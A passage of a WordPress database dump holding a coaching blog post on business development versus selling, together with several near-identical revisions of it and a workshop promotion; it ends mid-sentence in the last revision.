(2333, 2, '2013-07-01 14:50:07', '2013-07-01 21:50:07', '<img class="alignnone size-full wp-image-2334" title="sales-skills-2" src="http://whc.fbdev.org/wp-content/uploads/2013/07/sales-skills-2.jpg" alt="" width="484" height="423" />\r\n<h1><span style="color: #808080;">Your business development activities must align perfectly to your prospect’s buying process–leading both of you to the final act of closing the sale.</span></h1>\r\nIn the previous post, I covered some first principles of business development. For many entrepreneurs and solo professionals I work with, their biggest challenge, especially at the beginning of their journey–is selling to new customers. If you have anxiety about selling to strangers then you might want to reframe in your mind the whole selling idea and think in terms of business development. In other words–relationship building!\r\n\r\n<strong>People buy from people they know, like and trust.</strong>\r\n\r\nAll business is centered in helping people, adding to their life experience, fulfilling their needs. If you are not known by your clients-to-be,  then you can’t be liked and trusted. Building relationships before you sell something is the heart and soul of business development. When you think in these terms, the pressure and fear of selling melts away. I’ll bet my last dollar you are person who loves to connect with people. Through your natural talent for connecting with people you’ll experience much more joy and enthusiasm for helping people get what they need. There is no need to “sell”.\r\n\r\nWhen you are attracting new business, rather than chasing it, you are expressing your powerful creative energy to serve. People will be naturally drawn to you, and you’ll build trust with your client-to-be in an easy, relaxed and positive manner.\r\n\r\n<strong>Stop selling what you do and start helping someone get what they desire.</strong>\r\n\r\nIn the interest of convincing and persuading prospective customers that your products and services will be a good fit for them, often times it’s easy to completely forget that clients don’t care about what you do, they care about their outcomes. When you focus your sales conversations on the desired outcomes of critical importance to the prospective client, you won’t need to persuade anyone of anything. They’ll be receptive to whatever guidance you share with them simply because it’s all about them and not you.\r\n\r\nCustomers only care about their outcomes, not your product features or service methodologies. Chances are those things are in abundant supply from the alternatives available. Helping people get closer to what they desire is the fastest way to build trust and confidence that YOU are the ONLY wise choice.\r\n\r\n<strong>Some common business development mistakes.</strong>\r\n\r\nI have worked with hundreds of entrepreneurs in diverse industries. One thing they all have in common is an uncompromising desire to win.  I’m confident you do too. But in the desire to close sales, many entrepreneurs and solo professionals inadvertently make these common (fatal) business development mistakes. Any of these apply to you?\r\n\r\n<strong><em>You don’t clearly and quickly communicate your value to the client-to-be in a manner that is relevant and distinctive from other available alternatives.</em></strong>\r\nYou must be able to state why you and your offer will matter to a prospective client in one sentence. If you don’t know how to clearly and quickly articulate a compelling value proposition, then you are beating yourself before you even begin.\r\n\r\n<strong><em>You meet with prospective clients on their turf.</em></strong>\r\nToday so much business is conducted over the phone and in a video conference, that you might not think this mistake is relevant in our social media age. However, at some point in the sales conversation, you’re going to have to have some quality face time. When you do make sure that meeting is not conducted in the client’s office or yours. Only meet in an environment that is supportive of your value and gets the client-to-be into a head space where their attention is solely focused on how you will help them get what they want. That won’t happen if you are sitting in their office.\r\n\r\n<strong><em>You are unprepared.</em></strong>\r\nI’m shocked that anyone would be unprepared for the opportunity to create value. But many of you are. You’re unprepared to sell when you don’t know the real reason the client is buying in the first place. This is absolutely critical to your sales success. You must know the prospect’s pain before you can advise a course of action to relieve it. It also helps to know critical insights into the clients business, their culture, the markets they serve. Show the client-to-be that you have invested in their success.\r\n\r\n<strong><em>You don’t connect with prospect on a consistent basis</em>.</strong>\r\nAs I mentioned in Part One, it takes a long time to build trust with a prospective client. If you are only “touching” them with an email once or twice a year, you won’t be making much of an impact. Your prospects will always be in some phase of the buying cycle, anywhere from “I’m not interested” to “I need it now”. Most of the time, you will reach out to a prospect when they are in the “not interested” phase and then you go away and come back in six months to try again. If your contact strategy is well targeted and consistent, you have a much better chance of being in the right place at the right time.\r\n\r\n<strong><em>You don’t know when to close the deal.</em></strong>\r\nAt some point in the sales conversation you will have to obtain a final agreement to buy. But this can only happen when the prospective customer is positive and inclined to do so. Many early stage entrepreneurs fail to secure a decision, or they keep plowing away with their pitch and talk themselves right out of a sale. A buyer may decide to buy in 10 minutes or 10 months. When the buyer decides to buy and you don’t close them right then and there, you will lose the opportunity.\r\n\r\n<strong>Business development success is a matter of luck and timing–all of which you have the power to create.</strong>\r\n\r\n<strong></strong>When I started my firm, it became rapidly apparent to me that few people were going to do business with me simply because I was good at what I did. I had to learn that business development was a skill that I must learn. But I never like selling.  What I did enjoy was connecting with like-minded people and helping them. When I began to realize that building trust made selling easier, my business took off. Yours will too.\r\n\r\nMost importantly, timing is everything in business development. When you’ve invested your time and energy into creating relationships with higher value clients, when the time is right, your client-to-be will seek you out.  Pursing business development in a strategic manner, rather than blindly selling, you’ll get your business to the next level and beyond.<em></em>\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants. <a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>f or registration details.\r\n</em>', 'Part Two– The difference between selling and business development.', 0, '', 'publish', 'open', 'open', '', 'part-two-the-difference-between-selling-and-business-development', '', '', '2013-07-01 14:50:07', '2013-07-01 21:50:07', '', 0, 'http://www.whitehotcenter.com/?p=2333', 0, 'post', '', 0),
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(2335, 2, '2013-07-01 14:06:57', '2013-07-01 21:06:57', '<img class="alignnone size-full wp-image-2334" title="sales-skills-2" src="http://whc.fbdev.org/wp-content/uploads/2013/07/sales-skills-2.jpg" alt="" width="484" height="423" />\n<h1><span style="color: #808080;">Your business development activities must align perfectly to your prospect’s buying process–leading both of you to the final act of closing the sale.</span></h1>\nIn the previous post, I covered some first principles of business development. For many of the entrepreneurs and solo professionals I work with, their biggest challenge, especially at the beginning of their journey–is selling to new customers. If you have anxiety about selling to strangers then you might want to reframe in your mind the whole selling idea and think in terms of business development. In other words–relationship building!\n\n<strong>People buy from people they know, like and trust.</strong>\n\nAll business is centered in helping people, adding to their life experience, fulfilling their needs. If you are not known by your clients-to-be,  then you can’t be liked and trusted. Building relationships before you sell something is the heart and soul of business development. When you think in these terms, the pressure and fear of selling melts away. I’ll bet my last dollar you are person who loves to connect with people. Through your natural talent for connecting with people you’ll experience much more joy and enthusiasm for helping people get what they need. There is no need to “sell”.\n\nWhen you are attracting new business, rather than chasing it, you are expressing your powerful creative energy to serve. People will be naturally drawn to you, and you’ll build trust with your client-to-be in an easy, relaxed and positive manner.\n\n<strong>Stop selling what you do and start helping someone get what they desire.</strong>\n\nIn the interest of convincing and persuading prospective customers that your products and services will be a good fit for them, often times it’s easy to completely forget that clients don’t care about what you do, they care about their outcomes. When you focus your sales conversations on the desired outcomes of critical importance to the prospective client, you won’t need to persuade anyone of anything. They’ll be receptive to whatever guidance you share with them simply because it’s all about them and not you.\n\nCustomers only care about their outcomes, not your product features or service methodologies. Chances are those things are in abundant supply from the alternatives available. Helping people get closer to what they desire is the fastest way to build trust and confidence that YOU are the ONLY wise choice.\n\n<strong>Some common business development mistakes.</strong>\n\nI have worked with hundreds of entrepreneurs in diverse industries. One thing they all have in common is an uncompromising desire to win.  I’m confident you do too. But in the desire to close sales, many entrepreneurs and solo professionals inadvertently make these common (fatal) business development mistakes. Any of these apply to you?\n\n<em>You don’t clearly and quickly communicate your value to the client-to-be in a manner that is relevant and distinctive from other available alternatives.</em>\nYou must be able to state why you and your offer will matter to a prospective client in one sentence. If you don’t know how to clearly and quickly articulate a compelling value proposition, then you are beating yourself before you even begin.\n\n<em>You meet with prospective clients on their turf.</em>\nToday so much business is conducted over the phone and in a video conference, that you might not think this mistake is relevant in our social media age. However, at some point in the sales conversation, you’re going to have to have some quality face time. When you do make sure that meeting is not conducted in the client’s office or yours. Only meet in an environment that is supportive of your value and gets the client-to-be into a head space where their attention is solely focused on how you will help them get what they want. That won’t happen if you are sitting in their office.\n\n<em>You are unprepared.</em>\nI’m shocked that anyone would be unprepared for the opportunity to create value. But many of you are. You’re unprepared to sell when you don’t know the real reason the client is buying in the first place. This is absolutely critical to your sales success. You must know the prospect’s pain before you can advise a course of action to relieve it. It also helps to know critical insights into the clients business, their culture, the markets they serve. Show the client-to-be that you have invested in their success.\n\n<em>You don’t connect with prospect on a consistent basis</em>.\nAs I mentioned in Part One, it takes a long time to build trust with a prospective client. If you are only “touching” them with an email once or twice a year, you won’t be making much of an impact. Your prospects will always be in some phase of the buying cycle, anywhere from “I’m not interested” to “I need it now”. Most of the time, you will reach out to a prospect when they are in the “not interested” phase and then you go away and come back in six months to try again. If your contact strategy is well targeted and consistent, you have a much better chance of being in the right place at the right time.\n\n<em>You don’t know when to close the deal.</em>\nAt some point in the sales conversation you will have to obtain a final agreement to buy. But this can only happen when the prospective customer is positive and inclined to do so. Many early stage entrepreneurs fail to secure a decision, or they keep plowing away with their pitch and talk themselves right out of a sale. A buyer may decide to buy in 10 minutes or 10 months. When the buyer decides to buy and you don’t close them right then and there, you will lose the opportunity.\n\n&nbsp;\n\n<strong>Business development success is a matter of luck and timing–all of which you have the power to create.</strong>\n\n<strong> </strong>\n\nWhen I started my firm, it became rapidly apparent to me that few people were going to do business with me simply because I was good at what I did. I had to learn that business development was a skill that I must learn. But I never like selling.  What I did enjoy was connecting with like-minded people and helping them. When I began to realize that building trust made selling easier, my business took off. Yours will too.\n\n&nbsp;\n\nMost importantly, timing is everything in business development. When you’ve invested your time and energy into creating relationships with higher value clients, when the time is right, your client-to-be will seek you out.  Pursing business development in a strategic manner, rather than blindly selling, you’ll get your business to the next level and beyond.', 'Part Two– The difference between selling and business development.', 0, '', 'inherit', 'open', 'open', '', '2333-revision', '', '', '2013-07-01 14:06:57', '2013-07-01 21:06:57', '', 2333, 'http://www.whitehotcenter.com/2013/07/2333-revision/', 0, 'revision', '', 0),
(2336, 2, '2013-07-01 14:08:24', '2013-07-01 21:08:24', '<img class="alignnone size-full wp-image-2334" title="sales-skills-2" src="http://whc.fbdev.org/wp-content/uploads/2013/07/sales-skills-2.jpg" alt="" width="484" height="423" />\n<h1><span style="color: #808080;">Your business development activities must align perfectly to your prospect’s buying process–leading both of you to the final act of closing the sale.</span></h1>\nIn the previous post, I covered some first principles of business development. For many of the entrepreneurs and solo professionals I work with, their biggest challenge, especially at the beginning of their journey–is selling to new customers. If you have anxiety about selling to strangers then you might want to reframe in your mind the whole selling idea and think in terms of business development. In other words–relationship building!\n\n<strong>People buy from people they know, like and trust.</strong>\n\nAll business is centered in helping people, adding to their life experience, fulfilling their needs. If you are not known by your clients-to-be,  then you can’t be liked and trusted. Building relationships before you sell something is the heart and soul of business development. When you think in these terms, the pressure and fear of selling melts away. I’ll bet my last dollar you are person who loves to connect with people. Through your natural talent for connecting with people you’ll experience much more joy and enthusiasm for helping people get what they need. There is no need to “sell”.\n\nWhen you are attracting new business, rather than chasing it, you are expressing your powerful creative energy to serve. People will be naturally drawn to you, and you’ll build trust with your client-to-be in an easy, relaxed and positive manner.\n\n<strong>Stop selling what you do and start helping someone get what they desire.</strong>\n\nIn the interest of convincing and persuading prospective customers that your products and services will be a good fit for them, often times it’s easy to completely forget that clients don’t care about what you do, they care about their outcomes. When you focus your sales conversations on the desired outcomes of critical importance to the prospective client, you won’t need to persuade anyone of anything. They’ll be receptive to whatever guidance you share with them simply because it’s all about them and not you.\n\nCustomers only care about their outcomes, not your product features or service methodologies. Chances are those things are in abundant supply from the alternatives available. Helping people get closer to what they desire is the fastest way to build trust and confidence that YOU are the ONLY wise choice.\n\n<strong>Some common business development mistakes.</strong>\n\nI have worked with hundreds of entrepreneurs in diverse industries. One thing they all have in common is an uncompromising desire to win.  I’m confident you do too. But in the desire to close sales, many entrepreneurs and solo professionals inadvertently make these common (fatal) business development mistakes. Any of these apply to you?\n\n<em>You don’t clearly and quickly communicate your value to the client-to-be in a manner that is relevant and distinctive from other available alternatives.</em>\nYou must be able to state why you and your offer will matter to a prospective client in one sentence. If you don’t know how to clearly and quickly articulate a compelling value proposition, then you are beating yourself before you even begin.\n\n<em>You meet with prospective clients on their turf.</em>\nToday so much business is conducted over the phone and in a video conference, that you might not think this mistake is relevant in our social media age. However, at some point in the sales conversation, you’re going to have to have some quality face time. When you do make sure that meeting is not conducted in the client’s office or yours. Only meet in an environment that is supportive of your value and gets the client-to-be into a head space where their attention is solely focused on how you will help them get what they want. That won’t happen if you are sitting in their office.\n\n<em>You are unprepared.</em>\nI’m shocked that anyone would be unprepared for the opportunity to create value. But many of you are. You’re unprepared to sell when you don’t know the real reason the client is buying in the first place. This is absolutely critical to your sales success. You must know the prospect’s pain before you can advise a course of action to relieve it. It also helps to know critical insights into the clients business, their culture, the markets they serve. Show the client-to-be that you have invested in their success.\n\n<em>You don’t connect with prospect on a consistent basis</em>.\nAs I mentioned in Part One, it takes a long time to build trust with a prospective client. If you are only “touching” them with an email once or twice a year, you won’t be making much of an impact. Your prospects will always be in some phase of the buying cycle, anywhere from “I’m not interested” to “I need it now”. Most of the time, you will reach out to a prospect when they are in the “not interested” phase and then you go away and come back in six months to try again. If your contact strategy is well targeted and consistent, you have a much better chance of being in the right place at the right time.\n\n<em>You don’t know when to close the deal.</em>\nAt some point in the sales conversation you will have to obtain a final agreement to buy. But this can only happen when the prospective customer is positive and inclined to do so. Many early stage entrepreneurs fail to secure a decision, or they keep plowing away with their pitch and talk themselves right out of a sale. A buyer may decide to buy in 10 minutes or 10 months. When the buyer decides to buy and you don’t close them right then and there, you will lose the opportunity.\n\n<strong>Business development success is a matter of luck and timing–all of which you have the power to create.</strong>\n\n<strong></strong>When I started my firm, it became rapidly apparent to me that few people were going to do business with me simply because I was good at what I did. I had to learn that business development was a skill that I must learn. But I never like selling.  What I did enjoy was connecting with like-minded people and helping them. When I began to realize that building trust made selling easier, my business took off. Yours will too.\n\nMost importantly, timing is everything in business development. When you’ve invested your time and energy into creating relationships with higher value clients, when the time is right, your client-to-be will seek you out.  Pursing business development in a strategic manner, rather than blindly selling, you’ll get your business to the next level and beyond.', 'Part Two– The difference between selling and business development.', 0, '', 'inherit', 'open', 'open', '', '2333-revision-2', '', '', '2013-07-01 14:08:24', '2013-07-01 21:08:24', '', 2333, 'http://www.whitehotcenter.com/2013/07/2333-revision-2/', 0, 'revision', '', 0),
(2337, 2, '2013-07-01 14:25:02', '2013-07-01 21:25:02', '<img class="alignnone size-full wp-image-2334" title="sales-skills-2" src="http://whc.fbdev.org/wp-content/uploads/2013/07/sales-skills-2.jpg" alt="" width="484" height="423" />\r\n<h1><span style="color: #808080;">Your business development activities must align perfectly to your prospect’s buying process–leading both of you to the final act of closing the sale.</span></h1>\r\nIn the previous post, I covered some first principles of business development. For many of the entrepreneurs and solo professionals I work with, their biggest challenge, especially at the beginning of their journey–is selling to new customers. If you have anxiety about selling to strangers then you might want to reframe in your mind the whole selling idea and think in terms of business development. In other words–relationship building!\r\n\r\n<strong>People buy from people they know, like and trust.</strong>\r\n\r\nAll business is centered in helping people, adding to their life experience, fulfilling their needs. If you are not known by your clients-to-be,  then you can’t be liked and trusted. Building relationships before you sell something is the heart and soul of business development. When you think in these terms, the pressure and fear of selling melts away. I’ll bet my last dollar you are person who loves to connect with people. Through your natural talent for connecting with people you’ll experience much more joy and enthusiasm for helping people get what they need. There is no need to “sell”.\r\n\r\nWhen you are attracting new business, rather than chasing it, you are expressing your powerful creative energy to serve. People will be naturally drawn to you, and you’ll build trust with your client-to-be in an easy, relaxed and positive manner.\r\n\r\n<strong>Stop selling what you do and start helping someone get what they desire.</strong>\r\n\r\nIn the interest of convincing and persuading prospective customers that your products and services will be a good fit for them, often times it’s easy to completely forget that clients don’t care about what you do, they care about their outcomes. When you focus your sales conversations on the desired outcomes of critical importance to the prospective client, you won’t need to persuade anyone of anything. They’ll be receptive to whatever guidance you share with them simply because it’s all about them and not you.\r\n\r\nCustomers only care about their outcomes, not your product features or service methodologies. Chances are those things are in abundant supply from the alternatives available. Helping people get closer to what they desire is the fastest way to build trust and confidence that YOU are the ONLY wise choice.\r\n\r\n<strong>Some common business development mistakes.</strong>\r\n\r\nI have worked with hundreds of entrepreneurs in diverse industries. One thing they all have in common is an uncompromising desire to win.  I’m confident you do too. But in the desire to close sales, many entrepreneurs and solo professionals inadvertently make these common (fatal) business development mistakes. Any of these apply to you?\r\n\r\n<em>You don’t clearly and quickly communicate your value to the client-to-be in a manner that is relevant and distinctive from other available alternatives.</em>\r\nYou must be able to state why you and your offer will matter to a prospective client in one sentence. If you don’t know how to clearly and quickly articulate a compelling value proposition, then you are beating yourself before you even begin.\r\n\r\n<em>You meet with prospective clients on their turf.</em>\r\nToday so much business is conducted over the phone and in a video conference, that you might not think this mistake is relevant in our social media age. However, at some point in the sales conversation, you’re going to have to have some quality face time. When you do make sure that meeting is not conducted in the client’s office or yours. Only meet in an environment that is supportive of your value and gets the client-to-be into a head space where their attention is solely focused on how you will help them get what they want. That won’t happen if you are sitting in their office.\r\n\r\n<em>You are unprepared.</em>\r\nI’m shocked that anyone would be unprepared for the opportunity to create value. But many of you are. You’re unprepared to sell when you don’t know the real reason the client is buying in the first place. This is absolutely critical to your sales success. You must know the prospect’s pain before you can advise a course of action to relieve it. It also helps to know critical insights into the clients business, their culture, the markets they serve. Show the client-to-be that you have invested in their success.\r\n\r\n<em>You don’t connect with prospect on a consistent basis</em>.\r\nAs I mentioned in Part One, it takes a long time to build trust with a prospective client. If you are only “touching” them with an email once or twice a year, you won’t be making much of an impact. Your prospects will always be in some phase of the buying cycle, anywhere from “I’m not interested” to “I need it now”. Most of the time, you will reach out to a prospect when they are in the “not interested” phase and then you go away and come back in six months to try again. If your contact strategy is well targeted and consistent, you have a much better chance of being in the right place at the right time.\r\n\r\n<em>You don’t know when to close the deal.</em>\r\nAt some point in the sales conversation you will have to obtain a final agreement to buy. But this can only happen when the prospective customer is positive and inclined to do so. Many early stage entrepreneurs fail to secure a decision, or they keep plowing away with their pitch and talk themselves right out of a sale. A buyer may decide to buy in 10 minutes or 10 months. When the buyer decides to buy and you don’t close them right then and there, you will lose the opportunity.\r\n\r\n<strong>Business development success is a matter of luck and timing–all of which you have the power to create.</strong>\r\n\r\n<strong></strong>When I started my firm, it became rapidly apparent to me that few people were going to do business with me simply because I was good at what I did. I had to learn that business development was a skill that I must learn. But I never like selling.  What I did enjoy was connecting with like-minded people and helping them. When I began to realize that building trust made selling easier, my business took off. Yours will too.\r\n\r\nMost importantly, timing is everything in business development. When you’ve invested your time and energy into creating relationships with higher value clients, when the time is right, your client-to-be will seek you out.  Pursing business development in a strategic manner, rather than blindly selling, you’ll get your business to the next level and beyond.', 'Part Two– The difference between selling and business development.', 0, '', 'inherit', 'open', 'open', '', '2333-revision-3', '', '', '2013-07-01 14:25:02', '2013-07-01 21:25:02', '', 2333, 'http://www.whitehotcenter.com/2013/07/2333-revision-3/', 0, 'revision', '', 0),
(2338, 2, '2013-07-01 14:25:11', '2013-07-01 21:25:11', '<img class="alignnone size-full wp-image-2334" title="sales-skills-2" src="http://whc.fbdev.org/wp-content/uploads/2013/07/sales-skills-2.jpg" alt="" width="484" height="423" />\r\n<h1><span style="color: #808080;">Your business development activities must align perfectly to your prospect’s buying process–leading both of you to the final act of closing the sale.</span></h1>\r\nIn the previous post, I covered some first principles of business development. For many of the entrepreneurs and solo professionals I work with, their biggest challenge, especially at the beginning of their journey–is selling to new customers. If you have anxiety about selling to strangers then you might want to reframe in your mind the whole selling idea and think in terms of business development. In other words–relationship building!\r\n\r\n<strong>People buy from people they know, like and trust.</strong>\r\n\r\nAll business is centered in helping people, adding to their life experience, fulfilling their needs. If you are not known by your clients-to-be,  then you can’t be liked and trusted. Building relationships before you sell something is the heart and soul of business development. When you think in these terms, the pressure and fear of selling melts away. I’ll bet my last dollar you are person who loves to connect with people. Through your natural talent for connecting with people you’ll experience much more joy and enthusiasm for helping people get what they need. There is no need to “sell”.\r\n\r\nWhen you are attracting new business, rather than chasing it, you are expressing your powerful creative energy to serve. People will be naturally drawn to you, and you’ll build trust with your client-to-be in an easy, relaxed and positive manner.\r\n\r\n<strong>Stop selling what you do and start helping someone get what they desire.</strong>\r\n\r\nIn the interest of convincing and persuading prospective customers that your products and services will be a good fit for them, often times it’s easy to completely forget that clients don’t care about what you do, they care about their outcomes. When you focus your sales conversations on the desired outcomes of critical importance to the prospective client, you won’t need to persuade anyone of anything. They’ll be receptive to whatever guidance you share with them simply because it’s all about them and not you.\r\n\r\nCustomers only care about their outcomes, not your product features or service methodologies. Chances are those things are in abundant supply from the alternatives available. Helping people get closer to what they desire is the fastest way to build trust and confidence that YOU are the ONLY wise choice.\r\n\r\n<strong>Some common business development mistakes.</strong>\r\n\r\nI have worked with hundreds of entrepreneurs in diverse industries. One thing they all have in common is an uncompromising desire to win.  I’m confident you do too. But in the desire to close sales, many entrepreneurs and solo professionals inadvertently make these common (fatal) business development mistakes. Any of these apply to you?\r\n\r\n<em>You don’t clearly and quickly communicate your value to the client-to-be in a manner that is relevant and distinctive from other available alternatives.</em>\r\nYou must be able to state why you and your offer will matter to a prospective client in one sentence. If you don’t know how to clearly and quickly articulate a compelling value proposition, then you are beating yourself before you even begin.\r\n\r\n<em>You meet with prospective clients on their turf.</em>\r\nToday so much business is conducted over the phone and in a video conference, that you might not think this mistake is relevant in our social media age. However, at some point in the sales conversation, you’re going to have to have some quality face time. When you do make sure that meeting is not conducted in the client’s office or yours. Only meet in an environment that is supportive of your value and gets the client-to-be into a head space where their attention is solely focused on how you will help them get what they want. That won’t happen if you are sitting in their office.\r\n\r\n<em>You are unprepared.</em>\r\nI’m shocked that anyone would be unprepared for the opportunity to create value. But many of you are. You’re unprepared to sell when you don’t know the real reason the client is buying in the first place. This is absolutely critical to your sales success. You must know the prospect’s pain before you can advise a course of action to relieve it. It also helps to know critical insights into the clients business, their culture, the markets they serve. Show the client-to-be that you have invested in their success.\r\n\r\n<em>You don’t connect with prospect on a consistent basis</em>.\r\nAs I mentioned in Part One, it takes a long time to build trust with a prospective client. If you are only “touching” them with an email once or twice a year, you won’t be making much of an impact. Your prospects will always be in some phase of the buying cycle, anywhere from “I’m not interested” to “I need it now”. Most of the time, you will reach out to a prospect when they are in the “not interested” phase and then you go away and come back in six months to try again. If your contact strategy is well targeted and consistent, you have a much better chance of being in the right place at the right time.\r\n\r\n<em>You don’t know when to close the deal.</em>\r\nAt some point in the sales conversation you will have to obtain a final agreement to buy. But this can only happen when the prospective customer is positive and inclined to do so. Many early stage entrepreneurs fail to secure a decision, or they keep plowing away with their pitch and talk themselves right out of a sale. A buyer may decide to buy in 10 minutes or 10 months. When the buyer decides to buy and you don’t close them right then and there, you will lose the opportunity.\r\n\r\n<strong>Business development success is a matter of luck and timing–all of which you have the power to create.</strong>\r\n\r\n<strong></strong>When I started my firm, it became rapidly apparent to me that few people were going to do business with me simply because I was good at what I did. I had to learn that business development was a skill that I must learn. But I never like selling.  What I did enjoy was connecting with like-minded people and helping them. When I began to realize that building trust made selling easier, my business took off. Yours will too.\r\n\r\nMost importantly, timing is everything in business development. When you’ve invested your time and energy into creating relationships with higher value clients, when the time is right, your client-to-be will seek you out.  Pursing business development in a strategic manner, rather than blindly selling, you’ll get your business to the next level and beyond.', 'Part Two– The difference between selling and business development.', 0, '', 'inherit', 'open', 'open', '', '2333-revision-4', '', '', '2013-07-01 14:25:11', '2013-07-01 21:25:11', '', 2333, 'http://www.whitehotcenter.com/2013/07/2333-revision-4/', 0, 'revision', '', 0),
(2341, 2, '2013-07-01 14:44:40', '2013-07-01 21:44:40', '<img class="alignnone size-full wp-image-2334" title="sales-skills-2" src="http://whc.fbdev.org/wp-content/uploads/2013/07/sales-skills-2.jpg" alt="" width="484" height="423" />\n<h1><span style="color: #808080;">Your business development activities must align perfectly to your prospect’s buying process–leading both of you to the final act of closing the sale.</span></h1>\nIn the previous post, I covered some first principles of business development. For many entrepreneurs and solo professionals I work with, their biggest challenge, especially at the beginning of their journey–is selling to new customers. If you have anxiety about selling to strangers then you might want to reframe in your mind the whole selling idea and think in terms of business development. In other words–relationship building!\n\n<strong>People buy from people they know, like and trust.</strong>\n\nAll business is centered in helping people, adding to their life experience, fulfilling their needs. If you are not known by your clients-to-be,  then you can’t be liked and trusted. Building relationships before you sell something is the heart and soul of business development. When you think in these terms, the pressure and fear of selling melts away. I’ll bet my last dollar you are person who loves to connect with people. Through your natural talent for connecting with people you’ll experience much more joy and enthusiasm for helping people get what they need. There is no need to “sell”.\n\nWhen you are attracting new business, rather than chasing it, you are expressing your powerful creative energy to serve. People will be naturally drawn to you, and you’ll build trust with your client-to-be in an easy, relaxed and positive manner.\n\n<strong>Stop selling what you do and start helping someone get what they desire.</strong>\n\nIn the interest of convincing and persuading prospective customers that your products and services will be a good fit for them, often times it’s easy to completely forget that clients don’t care about what you do, they care about their outcomes. When you focus your sales conversations on the desired outcomes of critical importance to the prospective client, you won’t need to persuade anyone of anything. They’ll be receptive to whatever guidance you share with them simply because it’s all about them and not you.\n\nCustomers only care about their outcomes, not your product features or service methodologies. Chances are those things are in abundant supply from the alternatives available. Helping people get closer to what they desire is the fastest way to build trust and confidence that YOU are the ONLY wise choice.\n\n<strong>Some common business development mistakes.</strong>\n\nI have worked with hundreds of entrepreneurs in diverse industries. One thing they all have in common is an uncompromising desire to win.  I’m confident you do too. But in the desire to close sales, many entrepreneurs and solo professionals inadvertently make these common (fatal) business development mistakes. Any of these apply to you?\n\n<strong><em>You don’t clearly and quickly communicate your value to the client-to-be in a manner that is relevant and distinctive from other available alternatives.</em></strong>\nYou must be able to state why you and your offer will matter to a prospective client in one sentence. If you don’t know how to clearly and quickly articulate a compelling value proposition, then you are beating yourself before you even begin.\n\n<strong><em>You meet with prospective clients on their turf.</em></strong>\nToday so much business is conducted over the phone and in a video conference, that you might not think this mistake is relevant in our social media age. However, at some point in the sales conversation, you’re going to have to have some quality face time. When you do make sure that meeting is not conducted in the client’s office or yours. Only meet in an environment that is supportive of your value and gets the client-to-be into a head space where their attention is solely focused on how you will help them get what they want. That won’t happen if you are sitting in their office.\n\n<strong><em>You are unprepared.</em></strong>\nI’m shocked that anyone would be unprepared for the opportunity to create value. But many of you are. You’re unprepared to sell when you don’t know the real reason the client is buying in the first place. This is absolutely critical to your sales success. You must know the prospect’s pain before you can advise a course of action to relieve it. It also helps to know critical insights into the clients business, their culture, the markets they serve. Show the client-to-be that you have invested in their success.\n\n<strong><em>You don’t connect with prospect on a consistent basis</em>.</strong>\nAs I mentioned in Part One, it takes a long time to build trust with a prospective client. If you are only “touching” them with an email once or twice a year, you won’t be making much of an impact. Your prospects will always be in some phase of the buying cycle, anywhere from “I’m not interested” to “I need it now”. Most of the time, you will reach out to a prospect when they are in the “not interested” phase and then you go away and come back in six months to try again. If your contact strategy is well targeted and consistent, you have a much better chance of being in the right place at the right time.\n\n<strong><em>You don’t know when to close the deal.</em></strong>\nAt some point in the sales conversation you will have to obtain a final agreement to buy. But this can only happen when the prospective customer is positive and inclined to do so. Many early stage entrepreneurs fail to secure a decision, or they keep plowing away with their pitch and talk themselves right out of a sale. A buyer may decide to buy in 10 minutes or 10 months. When the buyer decides to buy and you don’t close them right then and there, you will lose the opportunity.\n\n<strong>Business development success is a matter of luck and timing–all of which you have the power to create.</strong>\n\n<strong></strong>When I started my firm, it became rapidly apparent to me that few people were going to do business with me simply because I was good at what I did. I had to learn that business development was a skill that I must learn. But I never like selling.  What I did enjoy was connecting with like-minded people and helping them. When I began to realize that building trust made selling easier, my business took off. Yours will too.\n\nMost importantly, timing is everything in business development. When you’ve invested your time and energy into creating relationships with higher value clients, when the time is right, your client-to-be will seek you out.  Pursing business development in a strategic manner, rather than blindly selling, you’ll get your business to the next level and beyond.<em></em>\n\n<em>Editor’s note: </em>\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants. <a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>for registration details.\n</em>', 'Part Two– The difference between selling and business development.', 0, '', 'inherit', 'open', 'open', '', '2333-revision-7', '', '', '2013-07-01 14:44:40', '2013-07-01 21:44:40', '', 2333, 'http://www.whitehotcenter.com/2013/07/2333-revision-7/', 0, 'revision', '', 0),
(2339, 2, '2013-07-01 14:42:32', '2013-07-01 21:42:32', '<img class="alignnone size-full wp-image-2334" title="sales-skills-2" src="http://whc.fbdev.org/wp-content/uploads/2013/07/sales-skills-2.jpg" alt="" width="484" height="423" />\r\n<h1><span style="color: #808080;">Your business development activities must align perfectly to your prospect’s buying process–leading both of you to the final act of closing the sale.</span></h1>\r\nIn the previous post, I covered some first principles of business development. For many of the entrepreneurs and solo professionals I work with, their biggest challenge, especially at the beginning of their journey–is selling to new customers. If you have anxiety about selling to strangers then you might want to reframe in your mind the whole selling idea and think in terms of business development. In other words–relationship building!\r\n\r\n<strong>People buy from people they know, like and trust.</strong>\r\n\r\nAll business is centered in helping people, adding to their life experience, fulfilling their needs. If you are not known by your clients-to-be,  then you can’t be liked and trusted. Building relationships before you sell something is the heart and soul of business development. When you think in these terms, the pressure and fear of selling melts away. I’ll bet my last dollar you are person who loves to connect with people. Through your natural talent for connecting with people you’ll experience much more joy and enthusiasm for helping people get what they need. There is no need to “sell”.\r\n\r\nWhen you are attracting new business, rather than chasing it, you are expressing your powerful creative energy to serve. People will be naturally drawn to you, and you’ll build trust with your client-to-be in an easy, relaxed and positive manner.\r\n\r\n<strong>Stop selling what you do and start helping someone get what they desire.</strong>\r\n\r\nIn the interest of convincing and persuading prospective customers that your products and services will be a good fit for them, often times it’s easy to completely forget that clients don’t care about what you do, they care about their outcomes. When you focus your sales conversations on the desired outcomes of critical importance to the prospective client, you won’t need to persuade anyone of anything. They’ll be receptive to whatever guidance you share with them simply because it’s all about them and not you.\r\n\r\nCustomers only care about their outcomes, not your product features or service methodologies. Chances are those things are in abundant supply from the alternatives available. Helping people get closer to what they desire is the fastest way to build trust and confidence that YOU are the ONLY wise 